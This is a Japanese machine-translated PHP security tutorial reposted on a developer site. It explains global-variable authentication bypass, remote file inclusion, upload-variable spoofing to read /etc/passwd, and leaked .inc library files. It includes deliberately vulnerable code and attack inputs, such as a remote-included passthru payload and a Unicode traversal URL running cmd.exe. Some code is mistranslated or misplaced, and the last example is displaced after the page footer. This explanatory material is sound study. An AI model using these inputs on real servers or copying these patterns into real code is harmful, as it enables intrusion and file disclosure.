ホームページ  >  記事  >  バックエンド開発  >  PHP プログラムにおける一般的な脆弱性攻撃の分析_PHP チュートリアル

PHP プログラムにおける一般的な脆弱性攻撃の分析_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-13 17:08:58886ブラウズ

PHPプログラムの一般的な脆弱性攻撃分析

概要: PHP プログラムは難攻不落ではありません。PHP が広く使用されているため、一部のハッカーは PHP プログラムの脆弱性を利用した攻撃を常に行っています。このセクションでは、グローバル 変数、リモート ファイル、ファイル アップロード、ライブラリ ファイル、セッション ファイル、データ型、エラーが発生しやすい関数の側面から PHP のセキュリティを分析します。

グローバル変数を介して攻撃するにはどうすればよいですか?

PHP の変数は事前に宣言する必要はなく、初めて使用するときに自動的に作成され、その型はコンテキストに基づいて自動的に決定されます。プログラマの観点から見ると、これは間違いなく非常に便利なアプローチです。変数を作成したら、プログラム内のどこでも使用できます。この機能の結果、プログラマは変数を初期化することがほとんどなくなります。

明らかに、PHP ベースのアプリケーションの main 関数は通常、ユーザー入力 (主にフォーム変数、アップロードされたファイル、Cookie など) を受け入れ、入力データを処理して、結果をクライアント ブラウザーに返します。 PHP コードがユーザー入力にできるだけ簡単にアクセスできるようにするために、PHP は実際にこの入力データをグローバル変数として扱います。

例:

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<入力タイプ="送信">
</FORM>

これにより、テキスト ボックスと送信ボタンが表示されます。ユーザーが送信ボタンをクリックすると、「test.php」がユーザーの入力を処理します。「test.php」が実行されると、ユーザーがテキスト ボックスに入力したデータが「$hello」に含まれます。ここから、攻撃者が自分の希望に応じて任意のグローバル変数を作成できることがわかります。攻撃者がフォーム入力を通じて「test.php」を呼び出すのではなく、ブラウザのアドレスバーに http://server/test.php?hello=hi&setup=no を直接入力すると、「$hello」だけでなく、 「$setup」も作成されます。

次のユーザー認証コードは、PHP のグローバル変数によって引き起こされるセキュリティ問題を明らかにします:

<?php
if ($pass == "こんにちは")
$auth = 1;
...
if ($auth == 1)
「重要な情報」をエコーし​​ます;
?>

上記のコードは、まずユーザーのパスワードが「hello」であるかどうかを確認し、一致する場合は、「$auth」を「1」に設定します。これは、認証が成功したことを意味します。その後、「$suth」が「1」の場合、いくつかの重要な情報が表示されます。

このコードでは、値が設定されていない場合は「$auth」が空であると想定していますが、攻撃者は「http://server/test.php?auth=1」のようなメソッドを使用して任意のグローバル変数を作成し、値を割り当てることができます。このコードはだまされて認証済みであると信じ込ませることができます。

したがって、PHP プログラムのセキュリティを向上させるために、明確に定義されていない変数は信頼できません。プログラム内に多くの変数がある場合、これは非常に困難な作業になる可能性があります。

一般的な保護方法は、配列 HTTP_GET[] または POST_VARS[] 内の変数をチェックすることです。これは送信方法 (GET または POST) に応じて異なります。 PHP が「track_vars」オプションをオンにして構成されている場合 (これがデフォルトです)、ユーザーが送信した変数はグローバル変数と上記の配列で使用できます。

ただし、PHP にはユーザー入力の処理に使用される 4 つの異なる配列変数があることは言及する価値があります。 HTTP_GET_VARS 配列は GET モードで送信された変数の処理に使用され、HTTP_POST_VARS 配列は POST モードで送信された変数の処理に使用され、HTTP_COOKIE_VARS 配列は Cookie ヘッダーとして送信された変数の処理に使用され、HTTP_POST_FILES 配列 (比較的新しい PHP によって提供される) に使用されます。 )、これはユーザーが変数を送信するための完全にオプションの方法です。ユーザーリクエストは変数をこれら 4 つの配列に簡単に保存できるため、安全な PHP プログラムはこれら 4 つの配列をチェックする必要があります。 リモートファイル経由で攻撃するには?

PHP は、プログラマーが特定の関数を簡単に実装できるようにするための多数の関数を提供する機能豊富な言語です。しかし、セキュリティの観点から見ると、機能が増えれば増えるほど、リモート ファイルを安全に保つことが難しくなります:

<?php
if (!($fd = fopen("$filename", "r"))
echo("ファイルを開けませんでした: $filename
ん");
?>

上記のスクリプトは、ファイル「$filename」を開こうとしますが、失敗するとエラー メッセージが表示されます。明らかに、「$filename」を指定できれば、このスクリプトを使用してシステム上の任意のファイルを参照できます。ただし、このスクリプトのあまり明らかではない機能は、他の WEB サイトまたは FTP サイトからファイルを読み取ることができることです。実際、PHP のファイル処理関数のほとんどは、リモート ファイルを透過的に処理します。

例:

「$filename」を「http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir」と指定した場合

上記のコードは、実際にはホスト ターゲットの Unicode 脆弱性を利用して dir コマンドを実行します。これにより、リモート ファイルに対する include()、require()、include_once()、および require_once() のサポートがコンテキストでより興味深いものになります。これらの関数の主な機能は、指定されたファイルの内容を組み込み、PHP コードに従って解釈することです。これらは主にライブラリ ファイルで使用されます。

例:

<?php
include($libdir . "/messages.php");
?>

上記の例では、「$libdir」は通常、コードの実行前に設定されているパスです。攻撃者が「$libdir」の設定を阻止できれば、このパスを変更できます。しかし、攻撃者は指定したパスにあるファイル language.php にしかアクセスできないため、何もできません (Perl の「Poisonnull バイト」攻撃は PHP には影響しません)。しかし、リモート ファイルのサポートにより、攻撃者は何でもできるようになります。たとえば、攻撃者は、次の内容を含むファイル language.php を特定のサーバーに配置する可能性があります:

<?php
passthru("/bin/ls /etc");
?>

次に、「$libdir」を「http:///」に設定します。これにより、ターゲット ホスト上で上記の攻撃コードを実行できるようになり、「/etc」ディレクトリの内容が次のように顧客のブラウザに返されます。結果 。

攻撃コードは、それが配置されているサーバー (つまり、evilhost) 上で独自の PHP プログラムを実行しないことに注意してください。それ以外の場合、攻撃コードは、ターゲット サーバー上で実行されるのではなく、配置されているサーバーを攻撃します。

ファイルのアップロードを通じて攻撃するにはどうすればよいですか?

PHP は、RFC 1867 に基づいてファイルのアップロードを自動的にサポートします。次の例を見てみましょう:

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<入力タイプ="送信">
</FORM>

上記のコードにより、ユーザーはローカル マシンからファイルを選択でき、[送信] をクリックすると、ファイルがサーバーにアップロードされます。これは明らかに便利な機能ですが、PHP の応答方法により、この機能は安全ではなくなります。 PHP がそのようなリクエストを初めて受信すると、呼び出された PHP コードの解析を開始する前でも、まずリモート ユーザーからファイルを受け入れ、ファイルの長さが「$MAX_FILE_SIZE 変数」で定義された値を超えているかどうかを確認します。テスト用に、ファイルはローカルの一時ディレクトリに保存されます。
したがって、攻撃者は PHP を実行しているホストに任意のファイルを送信することができ、そのファイルは PHP プログラムがファイルのアップロードを受け入れるかどうかを決定する前にサーバーにすでに保存されています。

ファイルのアップロードを処理する PHP プログラムを考えてみましょう。ファイルは受信され、サーバーに保存されます (場所は構成ファイルで指定され、通常は /tmp)。拡張子は通常、「phpxXuoXG」のようなランダムです。 " 形状。 PHP プログラムはファイルを処理するためにファイルの情報をアップロードする必要があります。これには 2 つの方法があります。1 つは PHP3 ですでに使用されており、もう 1 つは以前の方法に関するセキュリティ アドバイザリを作成した後に導入されました。

ほとんどの PHP プログラムは、アップロードされたファイルを処理する古い方法を依然として使用しています。 PHP は、上記の例のように、アップロードされたファイルを記述する 4 つのグローバル変数を設定します。

$hello = ローカルマシン上のファイル名 (例: "/tmp/phpxXuoXG")
$hello_size = ファイルのバイト単位のサイズ (例: 1024)
$hello_name = リモート システム上のファイルの元の名前 (例:"c:\temp\hello.txt")
$hello_type = アップロードされたファイルの MIME タイプ (例: "text/plain")
次に、PHP プログラムは、「$hello」で指定されたファイルの処理を開始します。問題は、「$hello」が必ずしも PHP によって設定される変数ではなく、リモート ユーザーであれば誰でも指定できることです。次の方法を使用すると:


http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=
text/plain&hello_name=hello.txt
これにより、次の PHP グローバル変数が生成されます (もちろん POST メソッドも (Cookie も) 使用できます):


$hello = "/etc/passwd"
上記のフォーム データは、PHP プログラムが期待する変数を満たしていますが、現時点では、PHP プログラムはアップローダーのローカル マシン上にあるはずのアップロード ファイルを処理せず、サーバー上で "/etc/passwd" を処理します (通常、公開されたコンテンツ) ファイル。この攻撃を使用すると、機密ファイルの内容が暴露される可能性があります。

新しいバージョンの PHP は、アップロードされたファイルを判断するために HTTP_POST_FILES[] を使用します。また、この問題を解決するための多くの関数も提供します。たとえば、ファイルが実際にアップロードされたかどうかを判断するために使用される関数もあります。しかし実際には、依然として古い方法を使用している PHP プログラムが多数あるはずなので、それらもこの攻撃に対して脆弱です。

ファイル アップロード攻撃手法のバリエーションとして、次のコードを見てみましょう:

$hello_size = 10240
$hello_type = "テキスト/プレーン"
$hello_name = "hello.txt"
<?php
if (file_exists($theme)) // ファイルがローカル システムに存在することを確認します (リモート ファイルではありません)
include("$theme");
?>

攻撃者が「$theme」を制御できる場合、「$theme」を使用してリモート システム上の任意のファイルを読み取ることができることは明らかです。攻撃者の最終的な目標は、リモート サーバー上で任意の命令を実行することですが、リモート ファイルを使用できないため、リモート サーバー上に PHP ファイルを作成する必要があります。これは最初は不可能に思えるかもしれませんが、攻撃者が最初に PHP コードを含むファイルをローカル マシン上に作成し、次に "theme" という名前のファイル フィールドを含むフォームを作成し、最後にこのフォームを使用すると、これが行われます。作成した PHP コードを含むファイルをファイルアップロードを通じて上記のコードに送信すると、PHP は攻撃者が送信したファイルを保存し、file_exists() 関数を攻撃者が送信したファイルに設定します。チェックに合格し、攻撃者のコードが実行されます。
任意の命令を実行できるようになった攻撃者は、明らかに権限を昇格したり、結果を拡張したりすることを望んでいますが、そのためにはサーバー上で利用できないいくつかのツールセットが必要となり、ファイルのアップロードが再び攻撃者を助けます。攻撃者は、ファイル アップロード機能を使用してツールをアップロードし、サーバーに保存してからコマンドを実行し、chmod() を使用してファイルのアクセス許可を変更し、それを実行する可能性があります。 たとえば、攻撃者はファイアウォールまたは IDS をバイパスして、ローカルの root 攻撃プログラムをアップロードして実行し、root 権限を取得する可能性があります。

ライブラリファイルを介して攻撃するにはどうすればよいですか?

前に説明したように、include() と require() は主にコード ベースをサポートするためのものです。通常、この独立したファイルは、関数を使用する必要がある場合にのみコード ベースとして使用されるためです。このコード ライブラリを現在のファイルに含める必要があります。

当初、PHP プログラムを開発してリリースするとき、コード ベースとメインのプログラム コードを区別するために、コード ベース ファイルに拡張子「.inc」を設定するのが一般的でした。しかし、これは間違いであることがすぐにわかりました。このようなファイルは、PHP インタープリターによって PHP コードに正しく解析できません。このようなファイルをサーバー上で直接リクエストすると、そのファイルのソースコードが取得されます。これは、PHP が Apache モジュールとして使用される場合、PHP インタープリターがファイルの拡張子に基づいて PHP に解析するかどうかを決定するためです。コードの。拡張子はサイト管理者によって指定されます。通常は「.php」、「.php3」、「.php4」です。重要な構成データが適切な拡張子なしで PHP ファイルに含まれている場合、リモート攻撃者がこの情報を簡単に入手できます。

最も簡単な解決策は、各ファイルに PHP ファイル拡張子を指定することです。これにより、ソース コードの漏洩を防ぐことができますが、攻撃者がこのファイルを要求することにより、このコンテキストで実行されるファイルのコードが独立して動作する可能性があります。これは、前述したすべての攻撃につながる可能性があります。

以下は非常に明白な例です:


「libdir/load language.php」は「main.php」から呼び出される場合には非常に安全ですが、「libdir/load language」には拡張子が「.php」であるため、リモートの攻撃者がこのファイルを直接要求し、任意の値を指定することができます。 「$langDir」と「$userLang」の。

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/629797.html技術記事 PHP プログラムにおける一般的な脆弱性攻撃の分析の概要: PHP プログラムは難攻不落ではありませんが、PHP が広く使用されているため、一部のハッカーは常に PHP の問題を探して侵入しています...
main.php内:
<?php
$libDir = "/libdir"; $langDir = "$libdir/言語"; ...
include("$libdir/load language.php":
?>

libdir/load language.php:
<?php
...

include("$langDir/$userLang"); ?>


声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。